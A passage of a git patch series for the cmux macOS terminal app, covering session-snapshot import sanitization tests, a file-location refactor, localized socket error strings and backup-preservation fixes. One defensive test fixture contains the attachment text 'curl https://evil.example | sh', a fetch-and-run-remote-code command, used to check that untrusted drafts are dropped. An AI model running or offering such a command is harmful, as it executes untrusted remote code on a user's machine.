diffViewerRequestPath: "/x" + ) + + let (sanitized, changed) = SessionSnapshotImportTrust.sanitizedBrowserPanel(browser) + + #expect(changed) + #expect(sanitized.urlString == nil) + #expect(sanitized.backHistoryURLStrings == ["https://example.com/a"]) + #expect(sanitized.forwardHistoryURLStrings == ["http://example.com/b"]) + #expect(sanitized.profileID == nil) + #expect(sanitized.diffViewerToken == nil) + #expect(sanitized.diffViewerRequestPath == nil) + #expect(!sanitized.developerToolsVisible) + + let https = SessionBrowserPanelSnapshot( + urlString: "https://example.com", + profileID: nil, + shouldRenderWebView: true, + pageZoom: 1, + developerToolsVisible: false, + backHistoryURLStrings: nil, + forwardHistoryURLStrings: nil + ) + let (kept, keptChanged) = SessionSnapshotImportTrust.sanitizedBrowserPanel(https) + #expect(kept.urlString == "https://example.com") + #expect(!keptChanged) + } + + @Test("dock panels, cloud bindings, projections and draft attachments are sanitized too") + func docksCloudAndDraftsAreSanitized() throws { + let attachment = SessionTextBoxInputAttachmentSnapshot( + displayName: "notes.txt", + submissionText: "curl https://evil.example | sh", + submissionPath: "/tmp/notes.txt", + localPath: nil, + cleanupLocalPathWhenDisposed: false + ) + let dockTerminal = SessionTerminalPanelSnapshot( + resumeBinding: SurfaceResumeBindingSnapshot( + kind: "shell", + command: "make deploy", + source: "process-detected", + autoResume: true + ), + textBoxDraft: SessionTextBoxInputDraftSnapshot( + isActive: true, + parts: [.text("look at "), .attachment(attachment)] + ) + ) + var snapshot = Self.snapshot(terminal: SessionTerminalPanelSnapshot()) + let dockPanel = Self.panel(terminal: dockTerminal) + let dock = SessionSplitContainerSnapshot( + focusedPanelId: dockPanel.id, + layout: .pane(SessionPaneLayoutSnapshot(panelIds: [dockPanel.id], selectedPanelId: dockPanel.id)), + panels: [dockPanel] + ) + snapshot.windows[0].dock = dock + snapshot.windows[0].tabManager.workspaces[0].dock = dock + snapshot.windows[0].tabManager.workspaces[0].cloudVM = SessionCloudVMBindingSnapshot(vmID: "vm-1", isBase: false) + + let (restored, report) = SessionSnapshotImportTrust.snapshotForRestore(snapshot, source: Self.fileImport) + + let workspace = try #require(restored.windows.first?.tabManager.workspaces.first) + #expect(workspace.cloudVM == nil) + #expect(workspace.surfaceProjections == nil) + for dockTerminal in [ + restored.windows.first?.dock?.panels.first?.terminal, + workspace.dock?.panels.first?.terminal, + ] { + let terminal = try #require(dockTerminal) + #expect(terminal.resumeBinding?.isUntrustedSessionImportBinding == true) + #expect(terminal.resumeBinding?.autoResume == false) + #expect(terminal.textBoxDraft?.parts == [.text("look at ")]) + } + #expect(report.heldBackResumeCount == 2) + #expect(report.droppedDraftAttachmentCount == 2) + #expect(report.droppedRemoteWorkspaceCount == 1) + } + // MARK: - Fixtures + private static func makeTempDirectory() throws -> URL { + let url = FileManager.default.temporaryDirectory + .appendingPathComponent("cmux-import-trust-\(UUID().uuidString)", isDirectory: true) + try FileManager.default.createDirectory(at: url, withIntermediateDirectories: true) + return url + } + + private static func untrustedTerminal() -> SessionTerminalPanelSnapshot { var custom = CmuxVaultAgentRegistration.builtInAmp custom.id = "my-agent" @@ -226,23 +491,8 @@ struct SessionSnapshotImportTrustTests { terminal: SessionTerminalPanelSnapshot, workspaceHasRemote: Bool = false ) -> AppSessionSnapshot { - let panelId = UUID() - let panel = SessionPanelSnapshot( - id: panelId, - type: .terminal, - title: "Terminal", - customTitle: nil, - directory: "/tmp/project", - isPinned: false, - isManuallyUnread: false, - listeningPorts: [], - ttyName: nil, - terminal: terminal, - browser: nil, - markdown: nil, - filePreview: nil, - rightSidebarTool: nil - ) + let panel = Self.panel(terminal: terminal) + let panelId = panel.id var workspace = SessionWorkspaceSnapshot( processTitle: "Terminal", customTitle: "Imported", @@ -257,6 +507,32 @@ struct SessionSnapshotImportTrustTests { progress: nil, gitBranch: nil ) + return Self.finish(workspace: &workspace, workspaceHasRemote: workspaceHasRemote) + } + + private static func panel(terminal: SessionTerminalPanelSnapshot) -> SessionPanelSnapshot { + SessionPanelSnapshot( + id: UUID(), + type: .terminal, + title: "Terminal", + customTitle: nil, + directory: "/tmp/project", + isPinned: false, + isManuallyUnread: false, + listeningPorts: [], + ttyName: nil, + terminal: terminal, + browser: nil, + markdown: nil, + filePreview: nil, + rightSidebarTool: nil + ) + } + + private static func finish( + workspace: inout SessionWorkspaceSnapshot, + workspaceHasRemote: Bool + ) -> AppSessionSnapshot { if workspaceHasRemote { workspace.remote = SessionRemoteWorkspaceSnapshot( transport: .ssh, From 8f0dc803af5a8e72dd10e28afaf624a4f3c639cd Mon Sep 17 00:00:00 2001 From: Leo Li <cheerleaderleo@outlook.com> Date: Sat, 26 Sep 2026 14:54:06 -0400 Subject: [PATCH 07/16] fix: make SessionSnapshotFileLocation an instantiable value The package conventions lint (namespace-type) rejects an all-static public enum. The file location is now a struct rooted at an Application Support directory with instance primaryFileURL/backupFileURL methods; the channel mapping and schema side-file helpers stay static. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> --- .../Session/SessionSnapshotFileLocation.swift | 35 +++++++++++-------- .../Session/SessionSnapshotRepository.swift | 18 ++++------ 2 files changed, 28 insertions(+), 25 deletions(-) diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotFileLocation.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotFileLocation.swift index d6746ff5a825..e2f06447d55f 100644 --- a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotFileLocation.swift +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotFileLocation.swift @@ -8,7 +8,7 @@ public import Foundation /// on the bundle identifier keeps channels from clobbering each other; this /// type lets one install locate another install's files so a session can be /// moved between channels (`cmux restore-session --from nightly`). -public enum SessionSnapshotFileLocation { +public struct SessionSnapshotFileLocation: Sendable, Equatable { /// The stable channel's bundle identifier, also the fallback when the /// running bundle has none. public static let stableBundleIdentifier = "com.cmuxterm.app" @@ -51,26 +51,33 @@ public enum SessionSnapshotFileLocation { return nil } + /// The user's Application Support directory the `cmux/` folder lives in. + public let appSupportDirectory: URL + + /// Creates a location rooted at an Application Support directory. + /// + /// - Parameter appSupportDirectory: The user's Application Support + /// directory (tests pass a temporary directory). + public init(appSupportDirectory: URL) { + self.appSupportDirectory = appSupportDirectory + } + /// The primary snapshot file for `bundleIdentifier`. /// - /// - Parameters: - /// - bundleIdentifier: The install's bundle identifier; nil or blank - /// falls back to ``stableBundleIdentifier``. - /// - appSupportDirectory: The user's Application Support directory. + /// - Parameter bundleIdentifier: The install's bundle identifier; nil or + /// blank falls back to ``stableBundleIdentifier``. /// - Returns: `<appSupport>/cmux/session-<sanitized id>.json`. - public static func primaryFileURL(bundleIdentifier: String?, appSupportDirectory: URL) -> URL { - fileURL(bundleIdentifier: bundleIdentifier, appSupportDirectory: appSupportDirectory, suffix: "") + public func primaryFileURL(bundleIdentifier: String?) -> URL { + fileURL(bundleIdentifier: bundleIdentifier, suffix: "") } /// The manual-restore backup snapshot file for `bundleIdentifier`. /// - /// - Parameters: - /// - bundleIdentifier: The install's bundle identifier; nil or blank - /// falls back to ``stableBundleIdentifier``. - /// - appSupportDirectory: The user's Application Support directory. + /// - Parameter bundleIdentifier: The install's bundle identifier; nil or + /// blank falls back to ``stableBundleIdentifier``. /// - Returns: `<appSupport>/cmux/session-<sanitized id>-previous.json`. - public static func backupFileURL(bundleIdentifier: String?, appSupportDirectory: URL) -> URL { - fileURL(bundleIdentifier: bundleIdentifier, appSupportDirectory: appSupportDirectory, suffix: "-previous") + public func backupFileURL(bundleIdentifier: String?) -> URL { + fileURL(bundleIdentifier: bundleIdentifier, suffix: "-previous") } /// The side file that keeps a snapshot written by a newer schema version, @@ -87,7 +94,7 @@ public enum SessionSnapshotFileLocation { return directory.appendingPathComponent("\(baseName).schema-v\(schemaVersion).json", isDirectory: false) } - static func fileURL(bundleIdentifier: String?, appSupportDirectory: URL, suffix: String) -> URL { + func fileURL(bundleIdentifier: String?, suffix: String) -> URL { let trimmed = bundleIdentifier?.trimmingCharacters(in: .whitespacesAndNewlines) ?? "" let bundleId = trimmed.isEmpty ? stableBundleIdentifier : bundleIdentifier! let safeBundleId = bundleId.replacingOccurrences( diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift index 57cc02c94b97..09078e336cf1 100644 --- a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift @@ -95,9 +95,8 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti public func snapshotFileURL(bundleIdentifier: String) -> URL? { guard let appSupport = resolvedAppSupportDirectory() else { return nil } - return SessionSnapshotFileLocation.primaryFileURL( - bundleIdentifier: bundleIdentifier, - appSupportDirectory: appSupport + return SessionSnapshotFileLocation(appSupportDirectory: appSupport).primaryFileURL( + bundleIdentifier: bundleIdentifier ) } @@ -144,9 +143,8 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti let appSupport = resolvedAppSupportDirectory() ?? fileManager.homeDirectoryForCurrentUser .appendingPathComponent("Library/Application Support", isDirectory: true) - let primaryURL = SessionSnapshotFileLocation.primaryFileURL( - bundleIdentifier: bundleIdentifier, - appSupportDirectory: appSupport + let primaryURL = SessionSnapshotFileLocation(appSupportDirectory: appSupport).primaryFileURL( + bundleIdentifier: bundleIdentifier ) if isOwnPrimarySnapshot(primaryURL) { // Importing this install into itself would reopen the windows it @@ -162,9 +160,8 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti } // Same fallback as startup restore: the `-previous` backup is the // recovery copy when the primary is missing or cannot be restored. - let backupURL = SessionSnapshotFileLocation.backupFileURL( - bundleIdentifier: bundleIdentifier, - appSupportDirectory: appSupport + let backupURL = SessionSnapshotFileLocation(appSupportDirectory: appSupport).backupFileURL( + bundleIdentifier: bundleIdentifier ) switch importableSnapshot(fileURL: backupURL) { case .success(let imported): @@ -345,9 +342,8 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti private func snapshotFileURL(suffix: String) -> URL? { guard let appSupport = resolvedAppSupportDirectory() else { return nil } - return SessionSnapshotFileLocation.fileURL( + return SessionSnapshotFileLocation(appSupportDirectory: appSupport).fileURL( bundleIdentifier: bundleIdentifier, - appSupportDirectory: appSupport, suffix: suffix ) } From f71ec942c2fc36282d6d4950571b151eb7ccc2ac Mon Sep 17 00:00:00 2001 From: Leo <cheerleaderleo@outlook.com> Date: Sun, 27 Sep 2026 16:32:10 +0800 Subject: [PATCH 08/16] Fix session snapshot transfer edge cases --- CLI/cmux.swift | 4 +- .../macOS/CmuxControlSocket/Package.swift | 4 + ...ControlCommandCoordinator+SystemMisc.swift | 54 +++- .../Resources/Localizable.xcstrings | 242 ++++++++++++++++++ .../Session/SessionSnapshotRepository.swift | 52 ++-- .../SessionSnapshotTransferTests.swift | 28 ++ .../CLIRestoreSessionTransferTests.swift | 25 +- 7 files changed, 385 insertions(+), 24 deletions(-) create mode 100644 Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Resources/Localizable.xcstrings diff --git a/CLI/cmux.swift b/CLI/cmux.swift index 76f81c36095b..6017f35c7552 100644 --- a/CLI/cmux.swift +++ b/CLI/cmux.swift @@ -8682,12 +8682,14 @@ struct CMUXCLI { guard !value.isEmpty else { throw CLIError(message: "restore-session: --from requires a channel or a file path") } + let resolvedPath = resolvePath(value) let looksLikePath = value.contains("/") || value.hasPrefix("~") || value.hasPrefix(".") || value.lowercased().hasSuffix(".json") + || FileManager.default.fileExists(atPath: resolvedPath) if looksLikePath { - return ["path": resolvePath(value)] + return ["path": resolvedPath] } return ["source": value] } diff --git a/Packages/macOS/CmuxControlSocket/Package.swift b/Packages/macOS/CmuxControlSocket/Package.swift index d05125dfe29e..8c07578c6c91 100644 --- a/Packages/macOS/CmuxControlSocket/Package.swift +++ b/Packages/macOS/CmuxControlSocket/Package.swift @@ -4,6 +4,7 @@ import PackageDescription let package = Package( name: "CmuxControlSocket", + defaultLocalization: "en", platforms: [ .macOS(.v14), ], @@ -29,6 +30,9 @@ let package = Package( .product(name: "CmuxSettings", package: "CmuxSettings"), "CmuxControlSocketAtomicsC", ], + resources: [ + .process("Resources/Localizable.xcstrings"), + ], swiftSettings: [ .swiftLanguageMode(.v6), .enableUpcomingFeature("ExistentialAny"), diff --git a/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlCommandCoordinator+SystemMisc.swift b/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlCommandCoordinator+SystemMisc.swift index f65b1b389dd7..1a1a5d21dfea 100644 --- a/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlCommandCoordinator+SystemMisc.swift +++ b/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlCommandCoordinator+SystemMisc.swift @@ -39,7 +39,14 @@ extension ControlCommandCoordinator { guard path.hasPrefix("/") else { return .err( code: "invalid_params", - message: "session.import params.path must be an absolute path", + message: String( + format: String( + localized: "socket.sessionTransfer.absolutePathRequired", + defaultValue: "%@ must be an absolute path.", + bundle: .module + ), + "session.import params.path" + ), data: .object(["path": .string(path)]) ) } @@ -49,12 +56,24 @@ extension ControlCommandCoordinator { default: return .err( code: "invalid_params", - message: "session.import requires exactly one of params.source or params.path", + message: String( + localized: "socket.sessionTransfer.importSelectorRequired", + defaultValue: "session.import requires exactly one of params.source or params.path.", + bundle: .module + ), data: nil ) } guard let systemContext else { - return .err(code: "unavailable", message: "Session context not attached", data: nil) + return .err( + code: "unavailable", + message: String( + localized: "socket.sessionTransfer.contextUnavailable", + defaultValue: "Session context is unavailable.", + bundle: .module + ), + data: nil + ) } switch systemContext.controlSessionImport(source: source) { case let .restored(sourcePath, windowCount, heldBackResumeCount, droppedRemoteWorkspaceCount): @@ -75,17 +94,40 @@ extension ControlCommandCoordinator { /// absolute `path`; `force` allows replacing an existing file. func sessionExport(_ params: [String: JSONValue]) -> ControlCallResult { guard let path = string(params, "path") else { - return .err(code: "invalid_params", message: "session.export requires params.path", data: nil) + return .err( + code: "invalid_params", + message: String( + localized: "socket.sessionTransfer.exportPathRequired", + defaultValue: "session.export requires params.path.", + bundle: .module + ), + data: nil + ) } guard path.hasPrefix("/") else { return .err( code: "invalid_params", - message: "session.export params.path must be an absolute path", + message: String( + format: String( + localized: "socket.sessionTransfer.absolutePathRequired", + defaultValue: "%@ must be an absolute path.", + bundle: .module + ), + "session.export params.path" + ), data: .object(["path": .string(path)]) ) } guard let systemContext else { - return .err(code: "unavailable", message: "Session context not attached", data: nil) + return .err( + code: "unavailable", + message: String( + localized: "socket.sessionTransfer.contextUnavailable", + defaultValue: "Session context is unavailable.", + bundle: .module + ), + data: nil + ) } switch systemContext.controlSessionExport(path: path, overwrite: bool(params, "force") ?? false) { case let .exported(exportedPath, sourcePath): diff --git a/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Resources/Localizable.xcstrings b/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Resources/Localizable.xcstrings new file mode 100644 index 000000000000..ca55949131e0 --- /dev/null +++ b/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Resources/Localizable.xcstrings @@ -0,0 +1,242 @@ +{ + "sourceLanguage": "en", + "strings": { + "socket.sessionTransfer.absolutePathRequired": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%@ must be an absolute path." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%@ muss ein absoluter Pfad sein." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "%@ doit être un chemin absolu." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "يجب أن يكون %@ مسارًا مطلقًا." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "%@ debe ser una ruta absoluta." + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%@ 必須是絕對路徑。" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%@ 必须是绝对路径。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@: 절대 경로가 필요합니다." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ は絶対パスである必要があります。" + } + } + } + }, + "socket.sessionTransfer.importSelectorRequired": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "session.import requires exactly one of params.source or params.path." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "session.import erfordert genau einen der Parameter params.source oder params.path." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "session.import exige exactement un paramètre parmi params.source et params.path." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "يتطلب session.import واحدًا فقط من params.source أو params.path." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "session.import requiere exactamente uno de params.source o params.path." + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "session.import 必須且只能提供 params.source 或 params.path 其中一個。" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "session.import 必须且只能提供 params.source 或 params.path 其中一个。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "session.import에는 params.source 또는 params.path 중 하나만 지정해야 합니다." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "session.import には params.source または params.path のいずれか一方だけが必要です。" + } + } + } + }, + "socket.sessionTransfer.contextUnavailable": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Session context is unavailable." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Der Sitzungskontext ist nicht verfügbar." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Le contexte de session est indisponible." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "سياق الجلسة غير متاح." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "El contexto de sesión no está disponible." + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "工作階段上下文無法使用。" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "会话上下文不可用。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "세션 컨텍스트를 사용할 수 없습니다." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "セッションコンテキストを利用できません。" + } + } + } + }, + "socket.sessionTransfer.exportPathRequired": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "session.export requires params.path." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "session.export erfordert params.path." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "session.export exige params.path." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "يتطلب session.export ‏params.path." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "session.export requiere params.path." + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "session.export 需要 params.path。" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "session.export 需要 params.path。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "session.export에는 params.path가 필요합니다." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "session.export には params.path が必要です。" + } + } + } + } + }, + "version": "1.0" +} diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift index 09078e336cf1..66a9561eeb5f 100644 --- a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift @@ -94,8 +94,7 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti // MARK: - Moving snapshots between installs public func snapshotFileURL(bundleIdentifier: String) -> URL? { - guard let appSupport = resolvedAppSupportDirectory() else { return nil } - return SessionSnapshotFileLocation(appSupportDirectory: appSupport).primaryFileURL( + SessionSnapshotFileLocation(appSupportDirectory: resolvedAppSupportDirectory()).primaryFileURL( bundleIdentifier: bundleIdentifier ) } @@ -141,8 +140,6 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti bundleIdentifier: String ) -> Result<SessionSnapshotImport<SnapshotValue>, SessionSnapshotImportError> { let appSupport = resolvedAppSupportDirectory() - ?? fileManager.homeDirectoryForCurrentUser - .appendingPathComponent("Library/Application Support", isDirectory: true) let primaryURL = SessionSnapshotFileLocation(appSupportDirectory: appSupport).primaryFileURL( bundleIdentifier: bundleIdentifier ) @@ -228,28 +225,44 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti (try? fileManager.attributesOfItem(atPath: url.path)) != nil } - @discardableResult - public func preserveNewerSchemaSnapshot(fileURL: URL) -> URL? { + private enum NewerSchemaPreservation { + case notNeeded + case preserved(URL) + case failed + } + + private func preserveNewerSchemaSnapshotOutcome(fileURL: URL) -> NewerSchemaPreservation { guard let data = try? Data(contentsOf: fileURL), let version = probedSchemaVersion(of: data), version > schemaVersion else { - return nil + return .notNeeded } - let sideURL = SessionSnapshotFileLocation.newerSchemaSideFileURL(for: fileURL, schemaVersion: version) + let sideURL = SessionSnapshotFileLocation.newerSchemaSideFileURL( + for: fileURL, + schemaVersion: version + ) if let existing = try? Data(contentsOf: sideURL), existing == data { - return sideURL + return .preserved(sideURL) } do { try data.write(to: sideURL, options: .atomic) } catch { - return nil + return .failed } #if DEBUG CMUXDebugLog.logDebugEvent( "session.snapshot.newerSchemaPreserved version=\(version) path=\(sideURL.path)" ) #endif - return sideURL + return .preserved(sideURL) + } + + @discardableResult + public func preserveNewerSchemaSnapshot(fileURL: URL) -> URL? { + guard case .preserved(let url) = preserveNewerSchemaSnapshotOutcome(fileURL: fileURL) else { + return nil + } + return url } public func load(fileURL: URL? = nil) -> SnapshotValue? { @@ -300,8 +313,14 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti case .loaded(let snapshot): _ = save(snapshot, fileURL: backupURL) case .missing: - preserveNewerSchemaSnapshot(fileURL: backupURL) - removeSnapshot(fileURL: backupURL) + switch preserveNewerSchemaSnapshotOutcome(fileURL: backupURL) { + case .notNeeded, .preserved: + removeSnapshot(fileURL: backupURL) + case .failed: + // The backup may be the only copy a newer build can read. + // Keep it when copying to the schema side file fails. + break + } case .unusable: // The primary snapshot exists but cannot be restored. Keep the // backup: it is the only remaining recovery path for the user's @@ -341,15 +360,16 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti } private func snapshotFileURL(suffix: String) -> URL? { - guard let appSupport = resolvedAppSupportDirectory() else { return nil } - return SessionSnapshotFileLocation(appSupportDirectory: appSupport).fileURL( + SessionSnapshotFileLocation(appSupportDirectory: resolvedAppSupportDirectory()).fileURL( bundleIdentifier: bundleIdentifier, suffix: suffix ) } - private func resolvedAppSupportDirectory() -> URL? { + private func resolvedAppSupportDirectory() -> URL { appSupportDirectory ?? fileManager.urls(for: .applicationSupportDirectory, in: .userDomainMask).first + ?? fileManager.homeDirectoryForCurrentUser + .appendingPathComponent("Library/Application Support", isDirectory: true) } } diff --git a/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift b/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift index 6cff3041a2b7..56789609996b 100644 --- a/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift +++ b/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift @@ -300,6 +300,34 @@ struct SessionSnapshotTransferTests { // MARK: - Newer schema side files + @Test("a newer-schema backup survives when side-file preservation fails") + func newerSchemaBackupSurvivesPreservationFailure() throws { + let dir = try makeTempDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let repository = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app") + let primaryURL = try #require(repository.defaultSnapshotFileURL()) + let backupURL = try #require(repository.manualRestoreSnapshotFileURL()) + let newerText = #"{"version":2,"windows":[{"name":"future"}]}"# + try FileManager.default.createDirectory( + at: backupURL.deletingLastPathComponent(), + withIntermediateDirectories: true + ) + try write(newerText, to: backupURL) + try? FileManager.default.removeItem(at: primaryURL) + + let sideURL = SessionSnapshotFileLocation.newerSchemaSideFileURL( + for: backupURL, + schemaVersion: 2 + ) + // A directory at the exact side-file path makes the atomic write fail. + try FileManager.default.createDirectory(at: sideURL, withIntermediateDirectories: true) + + repository.syncManualRestoreSnapshotCache() + + #expect(FileManager.default.fileExists(atPath: backupURL.path)) + #expect(try String(contentsOf: backupURL, encoding: .utf8) == newerText) + } + @Test("a newer-schema snapshot is copied to a schema side file that can be imported later") func newerSchemaSideFile() throws { let dir = try makeTempDirectory() diff --git a/cmuxCLITests/CLIRestoreSessionTransferTests.swift b/cmuxCLITests/CLIRestoreSessionTransferTests.swift index 06c772f52a9f..7cdb12607afd 100644 --- a/cmuxCLITests/CLIRestoreSessionTransferTests.swift +++ b/cmuxCLITests/CLIRestoreSessionTransferTests.swift @@ -73,6 +73,27 @@ final class CLIRestoreSessionTransferTests { #expect(params?["source"] == nil) } + @Test func existingBareFilenameSendsAbsolutePath() throws { + let (result, payloads) = try runAgainstMockServer( + label: "from-bare", + arguments: ["restore-session", "--from", "moved-session"], + reply: [ + "restored": true, + "source_path": "/x/moved-session", + "window_count": 1, + ], + prepareWorkDirectory: { directory in + try Data("{}".utf8).write(to: directory.appendingPathComponent("moved-session")) + } + ) + + #expect(result.status == 0, Comment(rawValue: result.stderr)) + let params = payloads.first?["params"] as? [String: Any] + let path = try #require(params?["path"] as? String) + #expect(path.hasSuffix("/moved-session")) + #expect(params?["source"] == nil) + } + @Test func exportSendsSessionExportWithForce() throws { let (result, payloads) = try runAgainstMockServer( label: "export", @@ -127,13 +148,15 @@ final class CLIRestoreSessionTransferTests { label: String, arguments: [String], reply: [String: Any]? = nil, - error: [String: Any]? = nil + error: [String: Any]? = nil, + prepareWorkDirectory: ((URL) throws -> Void)? = nil ) throws -> (ProcessRunResult, [[String: Any]]) { let socketPath = makeSocketPath(label) let listenerFD = try bindUnixSocket(at: socketPath) let workDirectory = FileManager.default.temporaryDirectory .appendingPathComponent("cmux-restore-session-cli-\(UUID().uuidString)", isDirectory: true) try FileManager.default.createDirectory(at: workDirectory, withIntermediateDirectories: true) + try prepareWorkDirectory?(workDirectory) defer { Darwin.close(listenerFD) unlink(socketPath) From 4eb25e6b4d418326dce1bb330349070e84bf5d70 Mon Sep 17 00:00:00 2001 From: Leo <cheerleaderleo@outlook.com> Date: Sun, 27 Sep 2026 17:42:49 +0800 Subject: [PATCH 09/16] test(session): preserve newer backup before cache replacement --- .../SessionSnapshotTransferTests.swift | 24 +++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift b/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift index 56789609996b..27ce27681b1a 100644 --- a/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift +++ b/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift @@ -300,6 +300,30 @@ struct SessionSnapshotTransferTests { // MARK: - Newer schema side files + @Test("a newer-schema backup is not replaced by a loaded primary when preservation fails") + func newerSchemaBackupSurvivesLoadedPrimaryPreservationFailure() throws { + let dir = try makeTempDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let repository = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app") + let primaryURL = try #require(repository.defaultSnapshotFileURL()) + let backupURL = try #require(repository.manualRestoreSnapshotFileURL()) + #expect(repository.save(snapshot("current"), fileURL: primaryURL)) + let newerText = #"{\"version\":2,\"windows\":[{\"name\":\"future\"}]}"# + try write(newerText, to: backupURL) + + let sideURL = SessionSnapshotFileLocation.newerSchemaSideFileURL( + for: backupURL, + schemaVersion: 2 + ) + // Block the side-file write. The current primary must not replace the + // only newer-schema recovery copy when preservation cannot complete. + try FileManager.default.createDirectory(at: sideURL, withIntermediateDirectories: true) + + repository.syncManualRestoreSnapshotCache() + + #expect(try String(contentsOf: backupURL, encoding: .utf8) == newerText) + } + @Test("a newer-schema backup survives when side-file preservation fails") func newerSchemaBackupSurvivesPreservationFailure() throws { let dir = try makeTempDirectory() From 3479700803335f8ac7d618f91704fd1c839bd079 Mon Sep 17 00:00:00 2001 From: Leo <cheerleaderleo@outlook.com> Date: Sun, 27 Sep 2026 17:43:00 +0800 Subject: [PATCH 10/16] fix(session): preserve newer backup before cache sync --- .../Session/SessionSnapshotRepository.swift | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift index 